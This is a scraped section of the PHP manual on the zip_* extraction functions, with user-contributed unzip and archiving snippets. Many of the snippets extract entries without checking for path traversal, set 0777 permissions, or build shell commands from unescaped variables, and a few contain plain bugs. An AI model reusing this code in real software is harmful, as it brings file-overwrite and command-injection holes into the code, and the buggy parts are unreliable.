  • zip_entry_compressionmethod — Retrieve the compression method of a directory entry
  • zip_entry_filesize — Retrieve the actual file size of a directory entry
  • zip_entry_name — Retrieve the name of a directory entry
  • zip_entry_open — Open a directory entry for reading
  • zip_entry_read — Read from an open directory entry
  • zip_open — Open a ZIP file archive
  • zip_read — Read next entry in a ZIP file archive

User Contributed Notes

shadowbranch at gmail dot com 30-Sep-2011 05:40
This is the simplest method to unzip a file. Pass the function your filename and it will unzip it to the current directory of the script with permissions done properly on unix type operating systems. Far simpler to understand and read.

<?php
function unzip($file){
    $zip = zip_open($file);
    if(is_resource($zip)){
        $tree = "";
        while(($zip_entry = zip_read($zip)) !== false){
            echo "Unpacking ".zip_entry_name($zip_entry)."\n";
            if(strpos(zip_entry_name($zip_entry), DIRECTORY_SEPARATOR) !== false){
                $last = strrpos(zip_entry_name($zip_entry), DIRECTORY_SEPARATOR);
                $dir = substr(zip_entry_name($zip_entry), 0, $last);
                $file = substr(zip_entry_name($zip_entry), strrpos(zip_entry_name($zip_entry), DIRECTORY_SEPARATOR)+1);
                if(!is_dir($dir)){
                    @mkdir($dir, 0755, true) or die("Unable to create $dir\n");
                }
                if(strlen(trim($file)) > 0){
                    $return = @file_put_contents($dir."/".$file, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
                    if($return === false){
                        die("Unable to write file $dir/$file\n");
                    }
                }
            }else{
                file_put_contents($file, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
            }
        }
    }else{
        echo "Unable to open zip file\n";
    }
}
?>
wdtemp at seznam dot cz 12-Apr-2010 12:34
Hi,
if you have the RAW CONTENT OF THE ZIP FILE IN A STRING ONLY and you can't create files on your server (because of the SAFE MODE) to be able to create a file which you can then pass to zip_open(), you'll be having hard times getting the uncompressed content of your ZIP data.
This may help:
I've written simple ZIP decompression function for decompressing the first file from the archive stored in a string (no matter what file it is). It's just about parsing a local file header of the first file, getting raw compressed data of that file and decompression of that data (usually, data in ZIP files are compressed by 'DEFLATE' method, so we'll just decompress it by gzinflate() function then).

<?php
function decompress_first_file_from_zip($ZIPContentStr){
//Input: ZIP archive - content of entire ZIP archive as a string
//Output: decompressed content of the first file packed in the ZIP archive
    //let's parse the ZIP archive
    //(see 'http://en.wikipedia.org/wiki/ZIP_%28file_format%29' for details)
    //parse 'local file header' for the first file entry in the ZIP archive
    if(strlen($ZIPContentStr)<102){
        //any ZIP file smaller than 102 bytes is invalid
        printf("error: input data too short<br />\n");
        return '';
    }
    $CompressedSize=binstrtonum(substr($ZIPContentStr,18,4));
    $UncompressedSize=binstrtonum(substr($ZIPContentStr,22,4));
    $FileNameLen=binstrtonum(substr($ZIPContentStr,26,2));
    $ExtraFieldLen=binstrtonum(substr($ZIPContentStr,28,2));
    $Offs=30+$FileNameLen+$ExtraFieldLen;
    $ZIPData=substr($ZIPContentStr,$Offs,$CompressedSize);
    $Data=gzinflate($ZIPData);
    if(strlen($Data)!=$UncompressedSize){
        printf("error: uncompressed data have wrong size<br />\n");
        return '';
    }
    else return $Data;
}

function binstrtonum($Str){
//Returns a number represented in a raw binary data passed as string.
//This is useful for example when reading integers from a file,
// when we have the content of the file in a string only.
//Examples:
// chr(0xFF) will result as 255
// chr(0xFF).chr(0xFF).chr(0x00).chr(0x00) will result as 65535
// chr(0xFF).chr(0xFF).chr(0xFF).chr(0x00) will result as 16777215
    $Num=0;
    for($TC1=strlen($Str)-1;$TC1>=0;$TC1--){ //go from most significant byte
        $Num<<=8; //shift to left by one byte (8 bits)
        $Num|=ord($Str[$TC1]); //add new byte
    }
    return $Num;
}
?>

ENJOY!!!
wdim
Daniel 04-Feb-2010 05:31
I had some memory problems with very large files in the zip file. The problem with the provided scripts is, that they write file all data at once using something like this:

<?php

$fstream = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
file_put_contents($file_name, $fstream );

?>

On a 130MB image this resulted in a "Fatal error: Allowed memory size of ... bytes exhausted" message.

I changed that to always write just a maximum of 10kb at once (you may change the size as wanted).

<?php

// get the file's size
$fileSize = zip_entry_filesize($zip_entry);
// open the target file
$outFile = fopen($file_name,"wb");
while ($fileSize>0) {
    // read/write only up to 10kb per step
    $readSize = min($fileSize,10240);

    // decrease the size of the remaining data to read
    $fileSize -= $readSize;

    // get the data
    $content = zip_entry_read($zip_entry, $readSize);

    // write the data (if any)
    if ($content !== false)
        fwrite($outFile,$content);
}
fclose($outFile);

?>

Cheers
yarms at mail dot ru 15-Aug-2009 09:24
very short version of function for unzipping files with folders structure:
<?php

function unzip($file){

    $zip=zip_open(realpath(".")."/".$file);
    if(!$zip) {return("Unable to proccess file '{$file}'");}

    $e='';

    while($zip_entry=zip_read($zip)) {
       $zdir=dirname(zip_entry_name($zip_entry));
       $zname=zip_entry_name($zip_entry);

       if(!zip_entry_open($zip,$zip_entry,"r")) {$e.="Unable to proccess file '{$zname}'";continue;}
       if(!is_dir($zdir)) mkdirr($zdir,0777);

       #print "{$zdir} | {$zname} \n";

       $zip_fs=zip_entry_filesize($zip_entry);
       if(empty($zip_fs)) continue;

       $zz=zip_entry_read($zip_entry,$zip_fs);

       $z=fopen($zname,"w");
       fwrite($z,$zz);
       fclose($z);
       zip_entry_close($zip_entry);

    }
    zip_close($zip);

    return($e);
}

function mkdirr($pn,$mode=null) {

  if(is_dir($pn)||empty($pn)) return true;
  $pn=str_replace(array('/', ''),DIRECTORY_SEPARATOR,$pn);

  if(is_file($pn)) {trigger_error('mkdirr() File exists', E_USER_WARNING);return false;}

  $next_pathname=substr($pn,0,strrpos($pn,DIRECTORY_SEPARATOR));
  if(mkdirr($next_pathname,$mode)) {if(!file_exists($pn)) {return mkdir($pn,$mode);} }
  return false;
}

unzip("test.zip");

?>

have a nice day :)
phillpafford+php at gmail dot com 12-Jun-2008 06:28
You could just use the linux commands

<?php

// Get the date
$date = date("m-d-y");

// Make Zip name
$zipname = "archive/site-script-backup." . $date . ".zip";

// Make a zip file
$cmd = `zip -r $zipname *`;

?>
rodrigo dot moraes at gmail dot com 29-Jan-2008 07:56
Here's a more simple extended class to add a whole directory recursively, keeping the same structure. It uses SPL.

<?php
class MyZipArchive extends ZipArchive
{
    /**
     *
     * Adds a directory recursively.
     *
     * @param string $filename The path to the file to add.
     *
     * @param string $localname Local name inside ZIP archive.
     *
     */
    public function addDir($filename, $localname)
    {
        $this->addEmptyDir($localname);
        $iter = new RecursiveDirectoryIterator($filename, FilesystemIterator::SKIP_DOTS);

        foreach ($iter as $fileinfo) {
            if (! $fileinfo->isFile() && !$fileinfo->isDir()) {
                continue;
            }

            $method = $fileinfo->isFile() ? 'addFile' : 'addDir';
            $this->$method($fileinfo->getPathname(), $localname . '/' .
                $fileinfo->getFilename());
        }
    }
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix suggested by (bart AT blueberry DOT nl) on 29-JUN-2011 with the following message. "Fix for the endless Iteratore add the flag FilesystemIterator::SKIP_DOTS"]
mmj48 at gmail dot com 08-Nov-2007 05:39
Heres a function I wrote that will extract a zip file with the same directory structure...

Enjoy:

<?php
function unzip($zipfile)
{
    $zip = zip_open($zipfile);
    while ($zip_entry = zip_read($zip))    {
        zip_entry_open($zip, $zip_entry);
        if (substr(zip_entry_name($zip_entry), -1) == '/') {
            $zdir = substr(zip_entry_name($zip_entry), 0, -1);
            if (file_exists($zdir)) {
                trigger_error('Directory "<b>' . $zdir . '</b>" exists', E_USER_ERROR);
                return false;
            }
            mkdir($zdir);
        }
        else {
            $name = zip_entry_name($zip_entry);
            if (file_exists($name)) {
                trigger_error('File "<b>' . $name . '</b>" exists', E_USER_ERROR);
                return false;
            }
            $fopen = fopen($name, "w");
            fwrite($fopen, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)), zip_entry_filesize($zip_entry));
        }
        zip_entry_close($zip_entry);
    }
    zip_close($zip);
    return true;
}
?>
nheimann at gmx dot net 03-Nov-2007 07:19
With this extension you can Add dirs with files with the ZipArchive Object

<?php
/**
 * FlxZipArchive, Extends ZipArchiv.
 * Add Dirs with Files and Subdirs.
 *
 * <code>
 *  $archive = new FlxZipArchive;
 *  // .....
 *  $archive->addDir( 'test/blub', 'blub' );
 * </code>
 */
class FlxZipArchive extends ZipArchive {
    /**
     * Add a Dir with Files and Subdirs to the archive
     *
     * @param string $location Real Location
     * @param string $name Name in Archive
     * @author Nicolas Heimann
     * @access private
     **/

    public function addDir($location, $name) {
        $this->addEmptyDir($name);

        $this->addDirDo($location, $name);
//     } // EO addDir;

    /**
     * Add Files & Dirs to archive.
     *
     * @param string $location Real Location
     * @param string $name Name in Archive
     * @author Nicolas Heimann
     * @access private
     **/

    private function addDirDo($location, $name) {
        $name .= '/';
        $location .= '/';

        // Read all Files in Dir
        $dir = opendir ($location);
        while ($file = readdir($dir))
        {
            if ($file == '.' || $file == '..') continue;

            // Rekursiv, If dir: FlxZipArchive::addDir(), else ::File();
            $do = (filetype() == 'dir') ? 'addDir' : 'addFile';
            $this->$do($location . $file, $name . $file);
        }
    } // EO addDirDo();
}
?>
bushj at rpi dot edu 25-Jun-2007 10:59
I made a zip stream handler in case your distribution does not have the built in one using the new ZipArchive system. This one also features the ability to grab entries by index as well as by name. It is similar in capabilities to the builtin gzip/bzip2 compression stream handlers (http://us2.php.net/manual/en/wrappers.compression.php) except it does not support writing.

To use:
fopen('zip://absolute/path/to/file.zip?entryname', $mode) or
fopen('zip://absolute/path/to/file.zip#entryindex', $mode) or
fopen('zip://absolute/path/to/file.zip', $mode)

$mode can only be 'r' or 'rb'. In the last case the first entry in the zip file is used.

<?php
class ZipStream {
  public $zip; //the zip file
  public $entry; //the opened zip entry
  public $length; //the uncompressed size of the zip entry
  public $position; //the current position in the zip entry read
  //Opens the zip file then retrieves and opens the entry to stream
  public function stream_open($path, $mode, $options, &$opened_path) {
    if ($mode != 'r' && $mode != 'rb') //only accept r and rb modes, no writing!
      return false;
    $path = 'file:///'.substr($path, 6); //switch out file:/// for zip:// so we can use url_parse
    $url = parse_url($path);
    //open the zip file
    $filename = $url['path'];
    $this->zip = zip_open($filename);
    if (!is_resource($this->zip))
      return false;

    //if entry name is given, find that entry
    if (array_key_exists('query', $url) && $url['query']) {
      $path = $url['query'];
      do {
        $this->entry = zip_read($this->zip);
        if (!is_resource($this->entry))
          return false;
      } while (zip_entry_name($this->entry) != $path);
    } else { //otherwise get it by index (default to 0)
      $id = 0;
      if (array_key_exists('fragment', $url) && is_int($url['fragment']))
        $id = $url['fragment']*1;
      for ($i = 0; $i <= $id; $i++) {
        $this->entry = zip_read($this->zip);
        if (!is_resource($this->entry))
          return false;
      }
    }
    //setup length and open the entry for reading
    $this->length = zip_entry_filesize($this->entry);
    $this->position = 0;
    zip_entry_open($this->zip, $this->entry, $mode);
    return true;
  }
  //Closes the zip entry and file
  public function stream_close() { @zip_entry_close($this->entry); @zip_close($this->zip); }
  //Returns how many bytes have been read from the zip entry
  public function stream_tell() { return $this->position; }
  //Returns true if the end of the zip entry has been reached
  public function stream_eof() { return $this->position >= $this->length; }
  //Returns the stat array, only 'size' is filled in with the uncompressed zip entry size
  public function url_stat() { return array('dev'=>0, 'ino'=>0, 'mode'=>0, 'nlink'=>0, 'uid'=>0, 'gid'=>0, 'rdev'=>0, 'size'=>$this->length, 'atime'=>0, 'mtime'=>0, 'ctime'=>0, 'blksize'=>0, 'blocks'=>0); }
  //Reads the next $count bytes or until the end of the zip entry. Returns the data or false if no data was read.
  public function stream_read($count) {
    $this->position += $count;
    if ($this->position > $this->length)
      $this->position = $this->length;
    return zip_entry_read($this->entry, $count);
  }
}
//Register the zip stream handler
stream_wrapper_register('zip', 'ZipStream'); //if this fails there is already a zip stream handler and we will just use that one
?>
nielsvandenberge at hotmail dot com 11-May-2007 02:29
This is the function I use to unzip a file.
It includes the following options:
* Unzip in any directory you like
* Unzip in the directory of the zip file
* Unzip in a directory with the zipfile's name in the directory of the zip file. (i.e.: C:\test.zip will be unzipped in  C:\test\)
* Overwrite existing files or not
* It creates non existing directories with the function Create_dirs($path)

You should use absolute paths with slashes (/) instead of backslashes (\).
I tested it with PHP 5.2.0 with php_zip.dll extension loaded

<?php
/**
 * Unzip the source_file in the destination dir
 *
 * @param   string      The path to the ZIP-file.
 * @param   string      The path where the zipfile should be unpacked, if false the directory of the zip-file is used
 * @param   boolean     Indicates if the files will be unpacked in a directory with the name of the zip-file (true) or not (false) (only if the destination directory is set to false!)
 * @param   boolean     Overwrite existing files (true) or not (false)
 *
 * @return  boolean     Succesful or not
 */
function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true)
{
  if ($zip = zip_open($src_file))
  {
    if ($zip)
    {
      $splitter = ($create_zip_name_dir === true) ? "." : "/";
      if ($dest_dir === false) $dest_dir = substr($src_file, 0, strrpos($src_file, $splitter))."/";

      // Create the directories to the destination dir if they don't already exist
      create_dirs($dest_dir);

      // For every file in the zip-packet
      while ($zip_entry = zip_read($zip))
      {
        // Now we're going to create the directories in the destination directories

        // If the file is not in the root dir
        $pos_last_slash = strrpos(zip_entry_name($zip_entry), "/");
        if ($pos_last_slash !== false)
        {
          // Create the directory where the zip-entry should be saved (with a "/" at the end)
          create_dirs($dest_dir.substr(zip_entry_name($zip_entry), 0, $pos_last_slash+1));
        }

        // Open the entry
        if (zip_entry_open($zip,$zip_entry,"r"))
        {

          // The name of the file to save on the disk
          $file_name = $dest_dir.zip_entry_name($zip_entry);

          // Check if the files should be overwritten or not
          if ($overwrite === true || $overwrite === false && !is_file($file_name))
          {
            // Get the content of the zip entry
            $fstream = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));

            file_put_contents($file_name, $fstream );
            // Set the rights
            chmod($file_name, 0777);
            echo "save: ".$file_name."<br />";
          }

          // Close the entry
          zip_entry_close($zip_entry);
        }
      }
      // Close the zip-file
      zip_close($zip);
    }
  }
  else
  {
    return false;
  }

  return true;
}

/**
 * This function creates recursive directories if it doesn't already exist
 *
 * @param String  The path that should be created
 *
 * @return  void
 */
function create_dirs($path)
{
  if (!is_dir($path))
  {
    $directory_path = "";
    $directories = explode("/",$path);
    array_pop($directories);

    foreach($directories as $directory)
    {
      $directory_path .= $directory."/";
      if (!is_dir($directory_path))
      {
        mkdir($directory_path);
        chmod($directory_path, 0777);
      }
    }
  }
}

// Extract C:/zipfiletest/zip-file.zip to C:/zipfiletest/zip-file/ and overwrites existing files
unzip("C:/zipfiletest/zip-file.zip", false, true, true);

// Extract C:/zipfiletest/zip-file.zip to C:/another_map/zipfiletest/ and doesn't overwrite existing files. NOTE: It doesn't create a map with the zip-file-name!
unzip("C:/zipfiletest/zip-file.zip", "C:/another_map/zipfiletest/", true, false);

?>
jeswanth@gmail 30-Apr-2007 12:55
Hi, all

There are lot of functions given below which etracts files, but what they lack is setting file permissions. On some servers file permissions are very important and the script cease to work after creating first directory, So I have added chmod to the code. There is only one limitation to the code, files without file extension are neither treated as files or directories so they are not chmoded, anyway this does not affect the code. Hope this helps.

<?php
function unpackZip($dir,$file) {
   if ($zip = zip_open($dir.$file.".zip")) {
     if ($zip) {
       mkdir($dir.$file);
     chmod($dir.$file, 0777);
       while ($zip_entry = zip_read($zip)) {
         if (zip_entry_open($zip,$zip_entry,"r")) {
           $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
           $dir_name = dirname(zip_entry_name($zip_entry));
           if ($dir_name != ".") {
             $dir_op = $dir.$file."/";
               foreach ( explode("/",$dir_name) as $k) {
                 $dir_op = $dir_op . $k;
                 if (is_file($dir_op)) unlink($dir_op);
                 if (!is_dir($dir_op)) mkdir($dir_op);
            chmod($dir_op, 0777);
                 $dir_op = $dir_op . "/" ;
                 }
               }
           $fp=fopen($dir.$file."/".zip_entry_name($zip_entry),"w+");
        chmod($dir.$file."/".zip_entry_name($zip_entry), 0777);
           fwrite($fp,$buf);

           fclose($fp);

           zip_entry_close($zip_entry);
       } else
           return false;
       }
       zip_close($zip);
     }
  } else
     return false;

  return true;
}

$dir = $_SERVER['DOCUMENT_ROOT']."/"."destdirectory/";
$file = 'zipfilename_without_extension';
unpackZip($dir,$file);
$print = $_SERVER['DOCUMENT_ROOT'];
?>
bholub at chiefprojects dot com 17-Oct-2006 12:14
This will simply unpack (including directories) $zip to $dir -- in this example the zip is being uploaded.
<?php
    $dir = 'C:\\reports-temp\\';
    $zip = zip_open($_FILES['report_zip']['tmp_name']);
    while($zip_entry = zip_read($zip)) {
        $entry = zip_entry_open($zip,$zip_entry);
        $filename = zip_entry_name($zip_entry);
        $target_dir = $dir.substr($filename,0,strrpos($filename,'/'));
        $filesize = zip_entry_filesize($zip_entry);
        if (is_dir($target_dir) || mkdir($target_dir)) {
            if ($filesize > 0) {
                $contents = zip_entry_read($zip_entry, $filesize);
                file_put_contents($dir.$filename,$contents);
            }
        }
    }
?>
angelnsn1 at hotmail dot com 26-Jan-2006 06:06
this function extract all files and subdirectories, you can choose verbose mode for get paths of files extracted. the function return a msg what indicate the error, if msg is OK, all is done.

---

code:

<?php
function unzip($dir, $file, $verbose = 0) {

   $dir_path = "$dir$file";
   $zip_path = "$dir$file.zip";

   $ERROR_MSGS[0] = "OK";
   $ERROR_MSGS[1] = "Zip path $zip_path doesn't exists.";
   $ERROR_MSGS[2] = "Directory $dir_path for unzip the pack already exists, impossible continue.";
   $ERROR_MSGS[3] = "Error while opening the $zip_path file.";

   $ERROR = 0;

   if (file_exists($zip_path)) {

         if (!file_exists($dir_path)) {

            mkdir($dir_path);

         if (($link = zip_open($zip_path))) {

            while (($zip_entry = zip_read($link)) && (!$ERROR)) {

               if (zip_entry_open($link, $zip_entry, "r")) {

                  $data = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
                  $dir_name = dirname(zip_entry_name($zip_entry));
                  $name = zip_entry_name($zip_entry);

                  if ($name[strlen($name)-1] == '/') {

                        $base = "$dir_path/";

                     foreach ( explode("/", $name) as $k) {

                        $base .= "$k/";

                        if (!file_exists($base))
                           mkdir($base);

                     }

                  }
                  else {

                      $name = "$dir_path/$name";

                      if ($verbose)
                       echo "extracting: $name<br>";

                    $stream = fopen($name, "w");
                    fwrite($stream, $data);

                  }

                  zip_entry_close($zip_entry);

               }
               else
                  $ERROR = 4;

              }

              zip_close($link);

           }
           else
              $ERROR = "3";
       }
       else
          $ERROR = 2;
    }
    else
       $ERROR = 1;

   return $ERROR_MSGS[$ERROR];

}
?>

---

example:

<?php
$error = unzip("d:/www/dir/", "zipname", 1);

echo $error;
?>

---

i hope this help you,
good bye.
ringu at mail dot ru 20-Aug-2005 06:12
i try to find function that will show exists file in zip archive or not. of course i not found it. and so write mine:

first will just check archive for list of files, if not found all files function return FALSE:

<?php
function zipx_entries_exists()
{
    $names=array();
    $args=func_get_args();
    $far_size=count($args);
    if($args[0])
        {
            for(; $zip_entry=zip_read($args[0]); $names[]= zip_entry_name($zip_entry));
            for($x=1; $x<=$far_size; $t+=in_array($args[$x], $names), $x++);
            return $t==--$far_size;
        }else{
             return 'No zip file in descriptor!';
        }
}

example:
$zip=zip_open('any_zip_file_zip');
var_dump(zip_entries_exists($zip, 'photo_1.jpg', 'photo_2.jpg'));

second function will try to find files in zip, if not found it return string with names of not found files with specified delimeter:

function zipx_entries_nonexists_list()
{
    $names=array();
    $args=func_get_args();
    $m=NULL;
    $far_size=count($args);
    if($args[0])
        {
            for(; $zip_entry=zip_read($args[0]); $names[]= zip_entry_name($zip_entry));
            for($x=2; $x<=$far_size; $m.=(in_array($args[$x], $names) ? NULL : $args[$x].$args[1]), $x++);
            return trim($m, $args[1]);
        }else{
             return 'No zip file in descriptor!';
        }
}
?>

example:
<?php
$zip=zip_open('any_zip_file_zip');
var_dump(zip_entries_nonexists_list($zip, '<br />', 'photo_1.jpg', 'photo_2.jpg'));
?>

it will return if not found files:
photo_1.jpg<br />photo_2.jpg
tom 27-Jun-2005 09:33
If you just want to unzip a zip folder an alternative to some of the lengthy functions below is:

<?php

function unzip($zip_file, $src_dir, $extract_dir)
{
 copy($src_dir . "/" . $zip_file, $extract_dir . "/" . $zip_file);
 chdir($extract_dir);
 shell_exec("unzip $zip_file");
}

?>

You don't need the ZIP extension for this.
candido1212 at yahoo dot com dot br 27-Apr-2005 08:52
New Unzip function, recursive extract
Require mkdirr() (recursive create dir)

<?php
$file = "2537c61ef7f47fc3ae919da08bcc1911.zip";
$dir = getcwd();
function Unzip($dir, $file, $destiny="")
{
    $dir .= DIRECTORY_SEPARATOR;
    $path_file = $dir . $file;
    $zip = zip_open($path_file);
    $_tmp = array();
    $count=0;
    if ($zip)
    {
        while ($zip_entry = zip_read($zip))
        {
            $_tmp[$count]["filename"] = zip_entry_name($zip_entry);
            $_tmp[$count]["stored_filename"] = zip_entry_name($zip_entry);
            $_tmp[$count]["size"] = zip_entry_filesize($zip_entry);
            $_tmp[$count]["compressed_size"] = zip_entry_compressedsize($zip_entry);
            $_tmp[$count]["mtime"] = "";
            $_tmp[$count]["comment"] = "";
            $_tmp[$count]["folder"] = dirname(zip_entry_name($zip_entry));
            $_tmp[$count]["index"] = $count;
            $_tmp[$count]["status"] = "ok";
            $_tmp[$count]["method"] = zip_entry_compressionmethod($zip_entry);

            if (zip_entry_open($zip, $zip_entry, "r"))
            {
                $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
                if($destiny)
                {
                    $path_file = str_replace("/",DIRECTORY_SEPARATOR, $destiny . zip_entry_name($zip_entry));
                }
                else
                {
                    $path_file = str_replace("/",DIRECTORY_SEPARATOR, $dir . zip_entry_name($zip_entry));
                }
                $new_dir = dirname($path_file);

                // Create Recursive Directory
                mkdirr($new_dir);

                $fp = fopen($dir . zip_entry_name($zip_entry), "w");
                fwrite($fp, $buf);
                fclose($fp);

                zip_entry_close($zip_entry);
            }
            echo "\n</pre>";
            $count++;
        }

        zip_close($zip);
    }
}
Unzip($dir,$file);
?>
22-Feb-2005 08:54
If (as me) all you wanted to do is store a big string (for example, a serialized array or the like) in a mysql BLOB field, remember that mysql has a COMPRESS() and UNCOMPRESS() pair of functions that do exactly that. Compression/decompression is therefore available also when accessing the DB from other languages like java, etc.
krishnendu at spymac dot com 31-May-2004 01:28
If you want to unzip an password protected file with php..try the following command....it works in Unix/Apache environment...I haven't tested in any other environment...

system("`which unzip` -P Password $zipfile -d $des",$ret_val)

Where $zipfile is the path to the .zip to be unzipped and $des is path to the destination directory.....here both absolute and relative path to the script (which contains this system command) will work...

if everything runs well...file should be unzipped at the $des directory..and you will get 0 value for $ret_val , which means success(info-zip.org)

Regards
Krishnendu
travis 17-Jun-2003 10:06
just a not of caution--using the dynamic zip class mentioned earlier seems to cause issues with high ascii characters (their values are not preserved correctly, and the file will not unzip)
chris 22-Mar-2003 10:32
Watch out with archives that contain subfolders if you're using the zip functions to extract archives to actual files.  Let's say you're trying to extract foldername/filename.txt from the archive.  You can't fopen a directory that doesn't exist, so you'll have to check for the existance of directory foldername and create it if it isn't found, then fopen foldername/filename.txt and begin writing to that.
ZipArchive::unchangeName
zip_close
Zip


Close a ZIP file archive

Zip Functions
zip_entry_close
Zip Functions
PHP Manual

zip_close

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_close — Close a ZIP file archive

Description

void zip_close ( resource $zip )

Closes the given ZIP file archive.

Parameters

zip

A ZIP file previously opened with zip_open().

Return Values

No value is returned.

See Also

  • zip_open() - Open a ZIP file archive
  • zip_read() - Read next entry in a ZIP file archive

User Contributed Notes

There are no user contributed notes for this page.
Zip Functions
zip_entry_close
Zip Functions


Close a directory entry

zip_close
zip_entry_compressedsize
Zip Functions
PHP Manual

zip_entry_close

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_entry_close — Close a directory entry

Description

bool zip_entry_close ( resource $zip_entry )

Closes the specified directory entry.

Parameters

zip_entry

A directory entry previously opened zip_entry_open().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • zip_entry_open() - Open a directory entry for reading
  • zip_entry_read() - Read from an open directory entry

User Contributed Notes

There are no user contributed notes for this page.
zip_close
zip_entry_compressedsize
Zip Functions


Retrieve the compressed size of a directory entry

zip_entry_close
zip_entry_compressionmethod
Zip Functions
PHP Manual

zip_entry_compressedsize

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_entry_compressedsize — Retrieve the compressed size of a directory entry

Description

int zip_entry_compressedsize ( resource $zip_entry )

Returns the compressed size of the specified directory entry.

Parameters

zip_entry

A directory entry returned by zip_read().

Return Values

The compressed size.

See Also

  • zip_open() - Open a ZIP file archive
  • zip_read() - Read next entry in a ZIP file archive

User Contributed Notes

There are no user contributed notes for this page.
zip_entry_close
zip_entry_compressionmethod
Zip Functions


Retrieve the compression method of a directory entry

zip_entry_compressedsize
zip_entry_filesize
Zip Functions
PHP Manual

zip_entry_compressionmethod

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_entry_compressionmethod — Retrieve the compression method of a directory entry

Description

string zip_entry_compressionmethod ( resource $zip_entry )

Returns the compression method of the directory entry specified by zip_entry.

Parameters

zip_entry

A directory entry returned by zip_read().

Return Values

The compression method.

See Also

  • zip_open() - Open a ZIP file archive
  • zip_read() - Read next entry in a ZIP file archive

User Contributed Notes

There are no user contributed notes for this page.
zip_entry_compressedsize
zip_entry_filesize
Zip Functions


Retrieve the actual file size of a directory entry

zip_entry_compressionmethod
zip_entry_name
Zip Functions
PHP Manual

zip_entry_filesize

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_entry_filesize — Retrieve the actual file size of a directory entry

Description

int zip_entry_filesize ( resource $zip_entry )

Returns the actual size of the specified directory entry.

Parameters

zip_entry

A directory entry returned by zip_read().

Return Values

The size of the directory entry.

See Also

  • zip_open() - Open a ZIP file archive
  • zip_read() - Read next entry in a ZIP file archive

User Contributed Notes

Reflex 16-Jul-2010 05:17
Simple function that return total size of files in archive.
May be useful for check for zip bombs.

<?php

function get_zip_originalsize($filename) {
    $size = 0;
    $resource = zip_open($filename);
    while ($dir_resource = zip_read($resource)) {
        $size += zip_entry_filesize($dir_resource);
    }
    zip_close($resource);

    return $size;
}

$size = get_zip_originalsize('file.zip');
echo "original size: $size bytes\n";

?>
zip_entry_compressionmethod
zip_entry_name
Zip Functions


Retrieve the name of a directory entry

zip_entry_filesize
zip_entry_open
Zip Functions
PHP Manual

zip_entry_name

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_entry_name — Retrieve the name of a directory entry

Description

string zip_entry_name ( resource $zip_entry )

Returns the name of the specified directory entry.

Parameters

zip_entry

A directory entry returned by zip_read().

Return Values

The name of the directory entry.

See Also

  • zip_open() - Open a ZIP file archive
  • zip_read() - Read next entry in a ZIP file archive

User Contributed Notes

kevyn at opsone dot net 20-Nov-2008 07:21
Big note for filename with accents.

Some Zip softwares encode accents with CP850.

So use iconv for keeping your accents SAFE !
leandro_dealmeida at hotmail dot com 27-Sep-2002 09:21
If you want to get the real name of the file without the directory name, you can just use the function basename() as the follow:

<?
$zip_dir = "./import/";
$zip = zip_open($zip_dir."import.zip");
if ($zip) {
    while ($zip_entry = zip_read($zip)) {

        $file = basename(zip_entry_name($zip_entry));
        $fp = fopen($zip_dir.basename($file), "w+");

        if (zip_entry_open($zip, $zip_entry, "r")) {
            $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
            zip_entry_close($zip_entry);
        }

           fwrite($fp, $buf);
        fclose($fp);

        echo "The file ".$file." was extracted to dir ".$zip_dir."\n<br>";
    }
    zip_close($zip);
}
?>

Thefore you can extract files without concern with the directory that is set inside the zip source.

Remember to give write permission (w) on that directory.

Hello from Brazil.
Leandro
zip_entry_filesize
zip_entry_open
Zip Functions


Open a directory entry for reading

zip_entry_name
zip_entry_read
Zip Functions
PHP Manual

zip_entry_open

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_entry_open — Open a directory entry for reading

Description

bool zip_entry_open ( resource $zip , resource $zip_entry [, string $mode ] )

Opens a directory entry in a zip file for reading.

Parameters

zip

A valid resource handle returned by zip_open().

zip_entry

A directory entry returned by zip_read().

mode

Any of the modes specified in the documentation of fopen().

Note:

Currently, mode is ignored and is always "rb". This is due to the fact that zip support in PHP is read only access.

Return Values

Returns TRUE on success or FALSE on failure.

Note:

Unlike fopen() and other similar functions, the return value of zip_entry_open() only indicates the result of the operation and is not needed for reading or closing the directory entry.

See Also

  • zip_entry_close() - Close a directory entry
  • zip_entry_read() - Read from an open directory entry

User Contributed Notes

jrhodes at roket-productions dot com 26-Nov-2008 03:21
'rb' is a valid mode, and means Read-Only Binary Mode.  This mode is used for portability reasons (see fopen).
Anonymous 11-May-2008 06:14
Note: Currently, mode  is ignored and is always "rb". This is due to the fact that zip support in PHP is read only access.

"rb" is not a mode. Must be "r"
zip_entry_name
zip_entry_read
Zip Functions


Read from an open directory entry

zip_entry_open
zip_open
Zip Functions
PHP Manual

zip_entry_read

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_entry_read — Read from an open directory entry

Description

string zip_entry_read ( resource $zip_entry [, int $length ] )

Reads from an open directory entry.

Parameters

zip_entry

A directory entry returned by zip_read().

length

The number of bytes to return. If not specified, this function will attempt to read 1024 bytes.

Note:

This should be the uncompressed length you wish to read.

Return Values

Returns the data read, or FALSE if the end of the file is reached.

See Also

  • zip_entry_open() - Open a directory entry for reading
  • zip_entry_close() - Close a directory entry
  • zip_entry_filesize() - Retrieve the actual file size of a directory entry

User Contributed Notes

Twan 02-May-2010 06:48
